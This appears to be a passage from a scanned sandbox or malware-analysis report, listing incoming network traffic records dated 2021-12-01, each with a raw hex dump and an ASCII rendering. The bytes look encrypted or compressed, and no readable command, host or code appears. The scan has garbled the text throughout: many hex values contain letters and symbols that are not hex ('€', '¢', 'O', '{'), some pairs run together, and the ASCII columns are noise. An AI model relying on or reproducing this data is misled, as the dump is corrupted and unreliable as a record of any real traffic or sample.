bc ee 35 dc 05 8b 6a 41 ce 90 67 45 ce fa 3c ca 9e c7 a4 6a a4 8b 52 4b c¢1 b9 86 69 9c 69 80 35 73 7d 6d 5¢c 95 6b 96 a8
350 68 6d 27 63 d9 e5 3e 02 dc ee 9e 36 23 18 bd e9 bc 79 15 52 d5 ac 97 90 42 ab 40 1c 6¢ bd 5e 59 fc 56 0f c9 f1 3c
3a df f0 e6 7d 87 c5 e9 81 75 Oe 43 b1 47 b0 33 f7 80 8e
Data Ascii: 8Rel>1K*)~b8Kzrr]gP=[EC9,{eW ZbZ#LFoVjR~p}k*3Tce?*D" R:i|\5]AgE<jRKii5s}m\k5hm'c>6#yRB@
I"YV<:}uCG3
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kBytes
Timestamp transferred Direction Data

2021-12-01 08:15:22 UTC 741 IN Data Raw: cf 3c fe 86 b6 66 19 Oc 82 27 84 55 4d f2 85 c¢8 55 02 5a 90 b3 a3 d0 99 1d 9b 21 c0 Oe c6 al d4 8c e5 80 36
€0 46 8a 6e eb ed 1b ec 09 23 al 82 36 11 6f 6e 30 4f 5a 29 ef de 4a 8d dd b8 16 d7 9c 1c 56 14 25 24 a5 9b 4c 41 de ee
8e 52 7e f9 43 b8 3e b6 f6 el da 93 9b b6 bc da 99 dO dc 1d cf 7e 58 bl d1 aa df al 6f 8d 67 2b 6f 33 4a 05 13 36 83 db
b0 24 0a f6 47 99 8c ca 2c ee 79 ea 74 e3 8b 8e fc a4 44 4c 4f 65 a6 af 7a 9c e0 13 47 d6 2d 01 64 a7 a4 7e 52 27 d1 05
acc6 alca67 7c 54 94 71 2f 55 45 dd 15 12 d1 0d 8a 87 85 Ob fa a4 2c f6 bd fa 82 da a3 10 2e 17 fd db fa 17 fa 10 db 6f
d4 db 7d 33 da 4e 6f 4a 3f ba 42 01 76 c4 38 20 8d ef 97 bd 09 94 64 57 25 3c 65 31 cb 73 66 {7 48 ab 34 21 6c 6e 4a 6d
al d4 a5 51 90 cd 45 e8 3c 94 11 b8 e8 cb e7 e0 bf dc
Data Ascii: <f'lUMUZ!6Fn#60n00Z)JV%$LAR~C>~X0g+03J6$G,ytDLOezG-d~R'g|Tq/UE,.0}3N0oJ?Bv8 dW%<elsfH4!InJ
mQE<

2021-12-01 08:15:22 UTC 757 IN Data Raw: c1 70 ac 20 93 €9 04 9b ac 94 02 14 a4 01 31 82 48 aa b2 af c9 64 €9 18 87 03 3b 1e Ob f4 cb e5 85 58 f4 c7
41 cb 71 75 c6 72 af 04 ef 15 68 2a 56 bc 21 68 65 a5 07 72 8e 37 15 20 98 b5 5 cb f3 03 f0 87 75 20 8f ¢7 26 c7 57 39 52
lac0 59 4b d5 f1 5a 48 20 ef 55 9b 99 c2 85 66 34 1f c6 91 6f 7b 9f 98 03 b5 da 41 51 9f 62 82 27 21 db 2e 67 11 b2 c7 42
64 ac ae 07 b1 a3 85 1c 35 5a 93 dd 4a 6¢ bd 14 62 69 5a 3d 37 17 €2 96 f8 c2 14 09 ea 39 6a 8e 8c 5d 03 3d cc f5 b0 f1
e9 ce d8 11 1b 94 8f 28 6e ae 8c f1 d4 2 b3 b8 bd 4c 1b 6e e4 9f 18 6a 73 d8 2d 40 c2 b6 dc 01 4c 12 ce 71 de da d4 61
6¢ 78 bb d4 ec b2 2f 88 8b cd 23 ef 07 bf 12 8a 5f 27 49 41 Oe 41 eb 30 99 d3 al 13 c8 3f 74 28 f1 9a 87 ee 93 a6 c7 6e ee
2f 85 7a 80 a9 b4 9f fd f1 fd el dO da 18 66 76
Data Ascii: p 1Hd;XAqurh*V!her7 u &W9RYKZH Uf40{AQb'!.gBd5ZJIbiZ=79j]=(nLnjs-@Lqalx/#_'lAA0?t(n/zfv

2021-12-01 08:15:22 UTC 773 IN Data Raw: 88 b1 8d 28 c0 30 7b 2b c1 6e 77 fa 07 c2 5e 0f Oe ab 79 bl f4 f9 5e 15 13 9e 16 87 40 el ca 2c 31 1a 26 3d 1d
b4 da 47 cc d7 39 d8 ad cb 54 16 f5 a5 9d 13 98 45 4d 86 3 f6 4d 73 ff 08 14 cb d5 23 a9 65 ab 18 90 8f 21 54 c7 01 8f 9d
1a 8063 9c 2b 79 69 75 74 bb 3b 8b dd ¢3 cc af 95 9a a6 1d ec 1f 07 ad 5d 66 6c 8e 8d 71 5f 65 99 4c 37 fc d4 62 b0 7e
86 2c af 3 64 2a 5e 1d b8 11 be 81 5d Oc f4 cd b6 1e 94 a5 50 a2 53 2b el 37 da 00 b8 79 2a e3 98 fe 68 9d 2a 91 d4 bf
35 f8 4c 8¢ 95 af fd 81 94 8e d6 34 2c 0d 12 00 44 2f b1 24 39 e0 a3 ¢8 95 59 06 2c 7¢ 62 bc ca 3c f5 eb Ob c2 4f bd 7a 74
€2 8582 c8884d 61 f8 8e 69 f0 67 76 Ob 63 f8 21 b7 ac b1 aa 5a b5 d1 32 ed 7e 7f a4 6b 45 36 dO 05 5 cO cb cc 89 f6 Of
f0 4b d2 b2 3d b5 a9 a6 53 a0 03 2b 26 77 99
Data Ascii: (O{+nw*y"@,1&=G9TEMMSst#te!Tc+yiut;]flg_eL7b~,d*"|PS+7y*h*5L4,D/$9Y,|b<OztMaigvc!Z2~kE6K=S+&w

2021-12-01 08:15:22 UTC 789 IN Data Raw: 4c 38 0f c5 9e 10 28 81 c4 13 d8 2b 6f 45 bb 9f 8b cb 5d ee a9 1e 97 8e 53 b9 90 d0 80 76 f5 ac 75 6b ea d9 76
d2 65 6a Ob ad 7d f0 e9 ee a3 a7 2c 3a f0 51 f6 aa a5 e0 db c4 d9 e5 7a 71 84 75 d1 57 75 a9 5e 41 b5 6b 70 57 49 59 66
fe 1c 83 ef 8¢ 2f e3 6d 6e 58 58 4e 26 5b cd 47 35 9a 53 7b 46 eb b2 79 30 10 29 b6 f5 3b 8b 97 5c bd 74 78 d7 e0 ec 1e
2e 1f 61 a4 36 47 2b 78 41 28 c8 c9 90 a6 8d 1f 48 ab f3 72 34 2f e3 6a e7 06 18 bb ec da a6 f9 98 36 56 82 ef 8c 31 c0 97
53 d8 30 48 39 15 66 ed 97 76 80 e3 45 50 22 a3 87 89 13 e3 95 54 a0 89 89 2b 3b Oe 30 ec 64 cc 50 2b 5a b9 70 06 58
90 23 24 71 51 b9 b3 bd 04 09 d9 4d 5d 21 8c fb 91 9 01 69 51 fe d3 bl ce 7b 2c 9c 76 11 11 7f 96 7b 07 f9 a8 9a 20 14
€8 24 fc ba d0 30 35 4c 03 95 ee 32 99 4d 36 33 bd fO
Data Ascii: L8(+0E]Svukvej},:QzquWuAkpWIY/mnXXN&[G5S{Fy0);\tx.a6G+xA(Hr4/j6V1SOHIfVEP"T+;0dP+ZpX#$
qQMJliQ{,v{ $05L.2M63

2021-12-01 08:15:22 UTC 805 IN Data Raw: 8c b8 26 6d 70 6f 27 87 eb 73 8b 33 14 89 aa 6¢ 50 52 35 62 e2 6e 87 96 95 cc bd df 6f bd 53 53 02 30 bd d4
7b 24 ed 6¢ e2 9f c9 eb 7f 80 95 97 42 ce 5a fc aa 5b dd 98 2e 8d 01 58 39 88 3a 52 4b ac 43 36 93 9d 78 57 29 06 24 49
d1 3c 2e 7fd2 12 73 37 bd 69 94 67 3a d3 cc ¢1 52 d0 1c b4 36 83 19 6¢ 8b 6e 2d 97 el 8a 00 57 41 bb b8 49 Oc 9a Oc 9b
65 f8 2a 23 16 96 97 d8 a8 3e 1f 78 4f 45 c5 b3 df 03 b4 57 c3 84 f4 4e 83 28 57 €5 50 a7 09 9b ea 1d 6¢ 0d 74 ab ee 19
ad f8 41 2b ae 52 69 86 4b be ba 34 4e 66 cd fb 8a 90 2b 89 ad el d8 e8 c5 4a 92 48 89 27 6a f7 cf 7e d4 30 55 da f2 e5
24 df cc eb 04 68 38 b6 63 59 c7 eb e8 e4 16 35 6¢ 5¢ b7 02 d1 55 ¢8 70 bf 34 2d f1 2d 57 77 26 46 e2 bd 35 24 d9 e7 c9
cc 02 e3 ab 38 38 Oc 09 bd 41 1a 56 0d 77 35 fc a8 71 c5
Data Ascii: &mpo's3IPR5bnoSSO{$IBZ[.X9:RKC6xW)$I<.s7ig:R6In-WAIle*#>xOEWN(WPItA+RiK4Nf+JH'j~0U$h8cY5\Up4-
-Ww&F5$88AVw5q

2021-12-01 08:15:22 UTC 821 IN Data Raw: 85 aa bb 56 al ae 15 97 fc 26 4c 1d 86 4f d7 07 5f 91 6a 85 Ob be 59 9d f3 ce a4 c7 6¢ be 89 94 fb 3e Ob 83 64
6850 33 31 ad ad a9 66 73 91 cb 5f 38 c4 92 7e a9 c4 95 fO ee d8 0d 77 77 1b e0 17 9d c9 d8 e9 8b 91 a7 13 3b 73 66 €8
c6 e2 e53d 83 7e 77 c0 c3 05 05 42 91 Oa ac a6 5¢ d7 d3 ab 86 c6 47 5b fc f3 c1 68 2e 8b 3 9e bf bd e3 9c 86 fa 80 8d
09 e6 24 e3 03 3c bf ¢7 9a 33 3f 54 5d b5 8b 09 44 b9 2d cf 35 53 48 f6 al 05 ad b0 53 39 bb 1c 85 03 d4 8a 24 8a 24 bb
33 f1 11 86 5b fc 83 bf 35 82 eb 81 6b 28 a0 Ob 48 67 45 8¢ e2 7e 3a 5b 29 ab 47 e3 4e e1 98 72 06 c7 73 €3 b5 37 13 10
€8 b5 28 c7 ef 0a 95 ed 28 2b ¢9 bf 09 20 fd 5d bb 0b a4 b0 fc 5b ea 85 0a ef b3 96 55 4c d9 01 25 b9 e8 6e 53 33 6b c7
59 50 4c b5 f4 87 3f 7a 66 74 a2 20 56 ad 39 45 97 ed
Data Ascii: V&LO_jYI>dhP31fs_8~ww;sf=~WB\G[h.$<3?T]D-5SHS9$$3[5k(HgE~:[)GNrs7((+ J[UL%nS3kYPL?zft VOE

2021-12-01 08:15:22 UTC 837 IN Data Raw: 63 ad 5b ef 27 b7 3e 3f 7b ce 9e 3b 0a d3 57 e0 ee 8d 13 c7 29 48 ec 5a 88 db c6 1d b0 76 30 5e 01 57 d7 97
€2 c02b 7079 aa 42 17 06 24 65 85 53 4c a9 60 35 cf 04 fa 14 ee 6e 50 4c 1c 7e 08 d8 9e ed d5 e5 1f 19 58 fa 3c cf a7
b4 50 47 a8 00 65 73 a4 9f 12 48 9a 25 c6 d8 62 3e 9e bb 7e 03 0d cc 8e ba 1a 27 b4 81 d4 6c 6¢ 34 b3 c0 54 30 70 49
6a30ed 71 e6 94 3d d2 f7 47 95 08 28 1b 57 ec 54 36 ea a5 ff 1b 08 a2 52 ¢4 2b fd ca 60 d8 cc 8c d1 15 04 f9 2a 02 6e
bc 79 ¢7 bb b7 b3 86 83 e6 27 ¢8 06 d0 0d 66 bc 75 73 da 1a 51 30 27 62 07 93 €5 c0 57 81 4d 7a 3e 96 19 70 c4 c9 3c
d7 1b 31 88 0d ed 8a 2b ea ec b7 a7 ad 15 13 fc d1 e2 32 63 9a ac 8e 03 b9 66 8d 58 22 5¢ a4 09 54 4b 72 73 98 76 48 ¢
867 f1 a6 d8 ef aa 28 c8 6f 9e b9 b8 83 d9 1d 6f 44 13 fe e2 Ob
Data Ascii: ¢['>?{;W)HZvO"W-+pyB$eSL 5nPL~X<PGesH%b>~'l4T0plj0g=G(WT6R+ *ny'fusQ0'bWMz>p<1+2cfX"\TKr
svHg(ooD

2021-12-01 08:15:22 UTC 853 IN Data Raw: 85 1c b2 de 39 05 7f 49 87 3b 4a 3b 3a fb 2f a2 24 30 51 70 31 f2 62 82 f1 fc 86 76 23 8e 4b 29 60 ad 24 8f 90
5a aa 07 01 b6 38 02 65 87 3f 71 22 76 d6 de 5f d6 f3 78 48 50 07 6f fc 4f c3 f1 70 3f d7 8¢ 61 b7 88 14 dO bd 6f ed 17 e6
b9 07 f9 a9 ¢8 30 47 e3 1f 1f €6 23 3a 5d 7d fb 9d 94 6e b7 €9 32 1b al b9 cc bb b6 ac 39 cf 75 9¢ 90 4f a5 12 bd e6 d2
lafabl 4e 61 5a 63 46 85 33 89 aa 5a 68 dc d6 84 7f ae 75 d4 9f 93 40 1b bd e5 fe d9 79 ad f2 al 15 36 2c 44 8a 29 b3
cf b4 25 7f 97 67 6¢ 5e d9 9e 6f d6 bc ab 60 ed c9 ba b5 d6 95 a3 7f 49 0d 30 81 ef ec 15 91 2a be 0d Ob 8d 69 ce 02 ef a€
de 08 3e 2b 52 31 24 96 45 2d 36 7c 2e e0 b4 64 7d e4 20 1e 08 fc 4f 92 24 ad bb 51 df 05 7a 4b 7a d2 fO c6 99 13 4f 96
ed 52 4f 93 ¢1 82 39 42 al d7 51 13 f6 1e dc ee
Data Ascii: 91;J;:/$0Qp1bv#K) $Z8e?q"v_xHPoOp?ao0G#:]}n29uONaZcF3Zhu@y6,D)%gl 0" 10*>+R1$E-6|.d} O$Q
zKzORO9BQ

2021-12-01 08:15:22 UTC 869 IN Data Raw: 6b 1c 38 d1 f7 7c 00 99 b7 d1 c5 30 94 28 70 b2 af 6e 8d bc 2b 53 7d 24 7f 6¢ 75 ¢5 63 b7 f1 0a 67 b2 d6 92 ee
be 90 fd 50 ¢7 15 50 1b 91 48 d6 df 45 4b 21 b7 73 b3 e7 6¢ 49 45 57 13 2a 2d 6 25 e4 db e0 b3 15 50 96 73 99 6a ca ba
fd b4 6¢c 08 ab 4e d2 f4 59 ba f8 €3 71 77 €9 32 ce al ca f7 e2 24 29 Ob c4 5d f8 9f 14 7e d7 f1 22 18 85 40 cd d4 80 71 72
el 31 b2 1 38 e7 a4 b0 da bl bc fe 77 d3 51 8e 11 84 43 05 dc ¢9 81 5d 6e 8a ed cb 7f 7e 12 0a Ob 6d 41 db 44 b8 5a ac
57 a5 8557 1c 69 20 6¢ d1 8e 36 ea 74 c4 aa 62 22 ee 33 c0 5¢ 7¢ 58 e3 da b4 fe 7f 79 ff 55 05 9f 3d 55 60 20 cd ca bb dc
a0 c3 42 a6 52 9a dc Of c6 8a d8 fc 92 a6 c6 49 6b 87 11 33 86 d7 67 c9 5e 10 90 40 e6 c8 5a 79 50 d8 12 ac 3¢ 19 c3 c2
0a 80 61 21 39 2b 03 d3 bf fd a7 cc ea 1d ab e8
Data Ascii: k8|0(pn+S}$lucgPPHEKISIIEW*-%PsjINY qw2$)]~"@qr18wQC]n~mADZWWi 16th"3\|[XyU=U" BRIk3g"@ZyP
<al9+
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kBytes
Timestamp transferred Direction Data

2021-12-01 08:15:22 UTC 885 IN Data Raw: €0 3d 4d 27 de 6b dc 59 fO 46 64 82 8d 8c 2f Of 1e 22 a9 04 73 18 82 40 a0 04 c3 a9 ac 57 91 36 cc Oe 92 fb 9e
aa 76 4e f0 57 6¢ 50 4d 4a 8b 6b 5a 46 aa 29 24 94 50 4b d3 51 10 88 50 ee 68 1f f6 8c 95 87 d4 11 ff b9 aa 2d 02 bb ca
97 b5 83 cd c3dl e6 e3 e3 el fe 77 a6 29 2f 69 5¢ c1 32 a9 e3 92 64 22 9f 3b df 34 da 69 cc 3a 61 4c cf fc b5 45 44 6e
88239 76 99 86 c1 8b dO ef 7a b3 da aa 55 89 8a fa a6 16 4c 06 ab af 61 70 a8 7a 7d b2 40 a7 4f 3c 3¢ f3 06 67 72 97
37 7d f7 a7 33 eb ca db d3 ce fd ef 7d 8c 2f ff 97 da 08 93 58 3d c0 74 52 e6 a4 2c 13 5b d5 c4 65 26 78 2d eb a4 a4 ea 13
9d 1b 77 1f 3b b5 77 72 8d c¢7 31 1b ee 3b 41 ca e3 ec 65 b1 14 9c ad 5b 37 21 d0 11 97 91 13 df 28 71 d2 d4 b3 60 d1 cc
10 3d 4e 4d 7b 23 c9 68 34 €8 43 4c 34 Oc bd bb 7c
Data Ascii: =M'kYFd/"s@W6vNWIPMJKZF)$PKQPh-w)/i\2d";4i:aLEDn#vzULapz}@0<<gr7}3}/X=tR,[e&x-w;wrl;Ae[7!
(g'=NM{#h4CL4|

2021-12-01 08:15:22 UTC 901 IN Data Raw: 4d 3d 8e f9 b3 9 64 70 d8 5f fc 6b d1 6f 8a cf 4b 36 70 ba c9 7f 95 00 07 bf 04 eb cf cd 93 f6 83 a9 4a 6b d8 72
ac a7 62 46 e4 72 de 4f c4 al f2 3f ce d8 ae b3 9e 32 97 08 3e bb b3 2f 58 1d b0 62 45 3e 53 48 7b fa d2 ab 5 8d 7a 6¢
04 8c €6 55 0b 9d df €9 18 ae 44 52 e4 6 dc c3 eb b8 61 60 €3 27 2e f8 91 cb d6 8b ¢3 db 91 bf ee a2 d0 54 51 48 58 01
2d 25 26 Ob 9d 25 2e 48 bb 54 85 fd 7a 9d 01 5a 49 1e ff ec f3 94 7f 8c b1 4b 53 7e €33 17 41 93 31 f2 41 20 ab 42 1c 68
ad f4 65 28 5d f1 3b 10 e8 62 2f 2b d9 20 e4 46 c1 b9 25 ef 4f 3b 8¢ 96 cO 7b f5 9¢ 6 c5 95 18 47 7¢c 39 a8 da 25 76 1d a3
2c dc 28 f7 3e 1c 2a 19 72 20 7c 3c cd 38 d8 79 8d 89 e4 d9 22 f2 el d6 a7 76 06 c3 4b dd 7b 3d fd f8 a5 el 8f dc a6 94
b9 5 43 d7 b7 80 7b ff cf Of 44 0d ca 9e dc
Data Ascii: M=dp_koK6pJkrbFrO?2>/XbE>SH{zIUDRa . TQHX-%&%.HTzZIKS~A1A Bhe(];b/+ F%O;{G|9%v,(>*r |<8y
"VK{=C{D

2021-12-01 08:15:22 UTC 917 IN Data Raw: d3 0f d3 d8 5a 70 ca 36 38 71 d5 7a b3 e2 €9 b1 44 9c 9b eb 99 da 2c e6 8c 5a 6e 60 87 1f 6 75 5f ea 67 73
36 3f 71 4b df 8c 51 2b 00 36 dc 22 b3 43 85 ac da 9b a8 12 6a 25 3b ff 29 07 32 12 f1 d2 4b 7d 75 6 66 4d d1 f3 fd 6a 31
e8 a7 5b 66 42 1f 7d 6f 0d 4e 34 e2 1a ca 15 60 ee 7d 02 2f 67 c8 95 8c 48 66 ee 32 aa 36 8e 11 ec 18 ce 95 30 2a c4 fe
34 42 da 54 98 29 3a ef 8e 56 €6 86 ec b4 3c 85 29 1a 9d 63 3b Ob 87 b0 e5 1e 91 84 80 17 04 05 ae 94 f1 30 2d 46 8e 60
34 db a552 d4 43 d4 10 e6 35 95 4b 99 53 ad a2 62 0a 10 76 9c 84 ef c8 43 5b 90 74 10 3f 83 5f 02 dO 15 e5 db 91 4e 6a
ca 7157 17 cc bb 1c 81 72 44 14 fa 90 12 3e 52 d7 31 9b a7 b9 e8 d6 5e 49 35 6f 29 c6 30 8f 5e 03 96 88 76 28 85 f6 f4
5d ca 39 dc de 2c 74 7 b2 53 0d 88 4e 6e 3b 7b fb a8
Data Ascii: Zp68gzD,Zn"u_gs6?gKQ+6"Cj%:;)2K}ufMj1[fB}oN4 }/gHf260*4BT):V<)c;0-F 4RC5KSbvC[t?_NjgWrD>R
17M50)07v(]9,tSNN;{

2021-12-01 08:15:22 UTC 933 IN Data Raw: 9d 75 21 06 35 21 2e c5 96 24 f8 a5 83 c1 1b 08 8b a2 27 7b c0 4a bb 76 45 3c Ob b0 9f e0 64 85 f8 43 07 25
8a 1d d0 49 3c 7b 19 c3 a2 b6 9f 27 a2 4c dd b2 af 04 b4 01 42 7f b6 40 b2 da 2f 57 73 04 07 ea 3f 25 08 e8 62 54 4f b8
02 14 b9 59 ac cf 2b 8¢ 1d 70 9b 02 de 0d 13 35 4f 6d c5 69 51 71 eb 3b 89 f1 8e 9e 83 a3 63 71 59 5c e2 8d 49 f9 ef 27
b0 89 a5 28 c3 6d 1d 09 7c 16 eb 14 45 d5 df 8f 7c 34 71 70 77 91 9e dd eb 4d ad 81 10 9c 64 61 fa c0 94 a6 f2 3d 5¢ 9d
cf 1d eb 50 89 12 d7 87 10 63 53 d8 05 ab 0a 48 c9 ¢3 43 45 7c 3 af 7 a2 4b 21 4f 6a ad d0 b0 39 20 ad 1b 90 4d d2 d7
45 6b 7f 52 a9 06 9e d7 b6 21 da 30 b8 9b 1e 0d 30 bb d5 16 ce 99 8b e0 c1 c4 c1 d0 df 27 27 81 9d e8 19 38 60 28 34 e4
12 aa 4e 61 84 74 a8 d8 3b 94 cf a7 69 03 cd db 96 77 16
Data Ascii: u!5!.$'{JVE<dC%I|<{'LB@/Ws?%bTOY+p50miQq;cqY\I'(m|E|4gpwMda=\PcSHCE|K!Oj9 MEKR!00"8"(4Nat;iw

2021-12-01 08:15:22 UTC 949 IN Data Raw: 9a 01 93 87 5b c2 11 c6 25 96 08 31 15 a2 4f ac 25 4d 27 85 34 23 99 f2 1c a7 a0 12 8f 2a 7f 50 83 bd 31 27 23
19 ec 77 b3 02 fd 5e d8 20 c8 Oe c4 40 7d 5d 9a 41 8a 2b 70 aa 7e 19 d9 b6 03 8d 84 dd 4d 95 70 66 16 50 bc 77 be 83
1d 87 ba Oc 6e 2f 69 99 7c d9 9a c0 2d a4 0f 0d 4a 70 3d 13 Oe 73 54 90 4f 17 76 99 17 d9 e7 2c 6b 70 3f 85 1c 5d 15 d6
6d 80 1c 7a e2 7c 81 4a ee 93 b4 21 98 a2 a4 ca bl 9b b5 c2 4c b6 35 a5 61 38 88 c8 bf 10 2¢ 69 7c eb ca dc 05 b0 55 17
2294 98 b8 ee 10 86 c8 f6 32 48 05 42 de fa ef 85 4b da b2 49 3c ¢6 1c 30 ¢4 23 f8 a3 ¢5 b3 30 d3 88 20 86 17 f2 el 71
3498 11 27 3b aa cb 3c b2 58 b6 20 b6 6a 2a a8 dd 06 84 72 e8 6b 9c 1b a3 fd 8f d4 18 83 2f ac a3 b5 16 cb 65 8e ba 72
87 fb 25 78 a5 b5 8e c9 2a 13 7 18 Oe 12 ff b9 5¢ 0Of b8
Data Ascii: [%10%M'4#*P1'#w" @}]A+p~MpfPwn/i|-Jp=sTOV,kp?]mz|J!L5a8,i|U"2HBKI<0#0 q4';<X j*rk/erd%x*\

2021-12-01 08:15:22 UTC 965 IN Data Raw: b8 al 53 30 ba db 3e b9 d0 e4 e0 19 3f ca 13 59 e9 37 3f 44 0f 7c 87 dc 3e 5d 6e a0 c0 Oa 3c e3 7c f0 71 94 of
6 98 ea 45 f2 26 6b 6¢ 1d el d5 aa 79 74 ed 45 88 3d 38 02 a5 e7 fe 47 52 1c b1 36 f1 f5 79 7b 28 5a €9 {7 cd a4 d6 95 cC
df d9 61 b7 2f 7b 89 ec 9e e4 5 03 47 c8 7d 8 cO ac 08 09 0Of 89 ae 84 da a7 cb db c1 c4 eb 41 3a a7 d9 28 ab f2 79 e9
d4 44 5f 77 fd ¢5 9a ¢5 21 5d ba fb 73 d6 Oc ce 5b d2 86 08 7b 76 bc be af f6 a3 f4 7e 98 f1 e9 65 e7 ae 72 13 21 41 ca 58
dc 05 32 1a 6d c8 fa 17 53 62 5a 3d d6 45 4c 68 3f 9a €6 95 88 34 65 15 ba ae 85 52 50 7f el 4f 37 0d 31 37 2d 40 74 b8
5e f0 ef cc a0 ce c9 ff 46 54 83 cb 15 ed de ac 60 76 f9 5d cc 4c 19 62 f8 29 4¢ 64 18 cf f7 25 Ob 01 dc 41 29 d9 ee 29 c6
62 6f ea e7 8d de 49 d6 47 c9 e3 5f f5 2c b6
Data Ascii: S0>?Y7?D|>]n<|qE&KIytE=8GR6Y{(Za/{G}A:(yD_w!]s[{v~er!AX2mSbZ=ELh?4eRPO717-@t"FT v]Lb)Ld%
A))bolG_,

2021-12-01 08:15:22 UTC 981 IN Data Raw: 24 22 3d a6 a3 8b 80 24 b1 85 f2 1c 6¢ 52 83 1a 0b dd d1 20 a9 06 a0 91 c6 df b5 61 ed 31 29 89 3¢ 43 22 52
ee 2d cc 8f 24 a4 50 3a ce cc 79 60 52 d5 fc 29 bf 7 c2 5b 53 b3 5b 54 8a Of 79 88 bc 05 2d 41 c9 Ob 28 75 80 95 58 d9
1a 05 ¢3 19 9¢ 22 69 20 49 cb 6b cc 53 96 77 33 be 6f 7¢ 16 ca af 19 7e 6a f3 c4 22 a6 2f f3 2a eb 20 77 2b 1a bb 63 65
ad d5 ba Oa 3 8e 6e fc a9 28 43 1f 2f d3 90 cO 94 9¢ 37 6d 46 a7 84 12 be 51 1e d6 34 4b 84 27 31 ad f9 56 12 al d2 bb
dc eb 75 90 25 85 a4 de 41 32 ff 7d 93 4d e9 8a 9f 81 75 9e 8b ce 48 1 63 ad c5 2e a5 34 2f 76 14 dd 30 b0 15 95 48 b3
b8 73 46 3e 17 7e 68 7f 7 76 21 85 13 be 15 09 93 49 35 29 b6 a1 ed 9¢ 0d 4e 1d 5b 36 5e 51 0c 64 16 5e 4f bd 41 59 7b
99 47 8b 80 ef fb d4 55 5¢ 90 7a ff 8¢ 35 89 €9 a9 2f 7
Data Ascii: $"=$IR a1)<C"R-$P:y R)[S[Ty-A(uX"i IkSw30|~{"/* w+cen(C/7mFQ4K'1Vu%A2}MuHc.4/VOHSF>~hv!i
5)N[6"Qd"OAY{GU\z5/

2021-12-01 08:15:22 UTC 997 IN Data Raw: fd 64 6c 63 29 8a d4 ee a2 55 ce 3e 13 ab 72 31 8e 9a ba 37 ¢6 ¢8 58 0a 26 33 db 90 46 52 d6 ea 2b 6b fb a4
6d 2e 30 38 30 5a 67 f5 dc eb b8 e4 39 96 a5 9a 4d fb 27 89 78 a2 aa fa 9e d6 89 6e 8e de d3 €5 97 74 da 4d a7 a2 03 92
5d 7a 8e 30 3b €9 05 2b 6d ad d3 2c 00 15 fa 1f 4e fa 20 64 ab 4d 7f 55 a2 9d af 4b 09 8 de c4 f8 1a 56 79 9a 7b 24 89 Of
d5 a2 c6 93 24 {7 60 6f ba 62 34 46 €2 85 bd b4 b9 c5 10 dO 7a 6d c9 94 7a 84 8a 88 8a 72 ae 49 11 c0 20 44 c8 90 02 fb
2c d6 c2 de 49 ac d1 cf a5 82 80 b4 7a 7a b9 7e a8 {7 be 1b 38 d0 91 36 ef 9 1e 59 90 86 ff 2c b8 62 7b af 11 7d 5a 2b
d3 ca Oe d8 3c 32 f9 c4 de 22 44 2c 12 d9 a3 db e0 8a a8 98 9c 88 a7 f1 7d 26 c5 46 f1 5e 34 54 Ob 32 d1 9f 09 d9 b4 le
33 ec ba 35 ce 69 50 Ob d2 16 Oe 29 54 8a dO b2 76 40
Data Ascii: dIc)U>r17X&3FR+km.080Zg9M'xntM]z0;+m,N dMUKVy{$$ ob4Fzmzrl D,|zz~86Y,b{}Z+<2"D,}&F"4T235
iP)Tv@

2021-12-01 08:15:22 UTC 1013 IN Data Raw: be e5 81 25 f4 45 1b d5 6 d9 bd ea 6f 33 46 53 b8 39 d3 26 27 1c f9 6a Oe fb 35 13 ee 32 ad 05 72 f0 30 a7 ae
e4 bf 9f 3f df b1 36 f8 45 00 38 5a f2 11 47 ab a8 99 27 el e8 29 96 fa 9b 51 22 36 63 1c 07 al 91 ca 8f 13 bf 84 cb f8 b9
1407 al e4 d9 3a 92 47 16 7d b6 b0 e9 d5 22 9c 33 71 cb e0 40 2a 6d b2 54 de 27 7d 8b al af 44 95 77 bb 64 a3 47 8 63
ac 03 da ca ce d6 05 5f 6¢ d6 9f b8 6a f4 el b8 15 a9 ca ¢3 ¢3 86 73 a5 dd 16 ca 0d 82 af f8 3a af 45 84 61 24 d1 79 94 5a
f3 d4 78 e4 9a dO 4e 64 dO 8¢ 8c 98 ch 35 76 b2 a2 f3 €9 74 01 47 1b 6d 33 1c bf 98 8¢ 79 48 49 de 0f 94 fd 00 df 0d 69 ed
a8 15 ee Oc 67 f9 e4 8d ¢6 38 2¢ 81 82 a0 7c 5¢ Ob 49 b0 8e 62 75 97 c4 58 {6 c2 8b e0 6f {8 4d 6e f6 7b Oe 6a 78 06 c5
e2 78 14 1b 09 66 b7 le 23 7f 08 df ba 04 66
Data Ascii: %E03FS9&'j52r0?6E8ZG")Q"6¢:G}'3q@*mTIDwdGc_ljs:Ea$yZxNd5vtGm3yHIig8,|\IbuXoMn{jxxf#f
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kBytes
Timestamp transferred Direction Data

2021-12-01 08:15:22 UTC 1029 IN Data Raw: €5 c2 a6 b4 b2 c6 85 17 6b 80 9f 2a 03 9¢ 49 70 b9 54 c7 42 de 29 2c fa 73 ac e5 24 b8 b8 4f 6f 60 41 d9 50 bd
06 50 45 1b a4 71 f7 29 e6 67 f2 82 34 84 al a4 12 8e 84 21 7a 23 d3 b0 86 d5 50 af 3d fe c7 93 d9 e5 47 €9 81 86 cd 01
34 a0 7c 4d a8 Oc 17 1b c6 d4 51 4e b3 a2 d2 4f 9d bl c4 8c 47 2c e3 cb 85 39 26 9a 02 63 d7 al 49 fd 16 bd be 1a 60 17
0a 88 40 Oe 5b a2 2d 67 d3 70 e6 60 28 65 48 f8 4a 08 fd 8c f6 f4 94 78 77 e8 67 89 c8 e4 83 27 d9 6¢ a3 66 d6 c6 f2 7a
50 d3 d9 c4 13 2a 42 d3 62 27 6d 3e c6 5d aa ab ac 79 fc 9e 3f 21 b8 f5 b0 05 a3 4a 28 03 70 98 7 1c c2 3f 48 e4 6d d7
94 5a ad e8 b0 a6 ac 47 20 f4 d3 36 07 eb 5b ba 99 5a Oc 15 e3 41 27 2a 98 b2 b5 3d 40 62 b1 79 a0 f3 a2 95 6b 35 bb
d1 62 4b 3b de d8 69 49 c6 Ob 13 6f df 62 da 21 5d 80 18
Data Ascii: k*IpTB),s$00 APPEQ)g4!z#P=G4|MQNOG,9&cl" @[-gp (eHIxwg'lfzP*Bb'm>]y?!J(p?HMZG 6[ZA*=@byk
5bK;ilob!]

2021-12-01 08:15:22 UTC 1045 IN Data Raw: 29 b4 f4 e6 98 a5 56 53 63 2d 8b c5 87 4c 5d 1f d5 be b5 cb ea f8 b2 cc 45 e6 f8 d5 78 8b 6¢ 59 99 49 67 d4 60

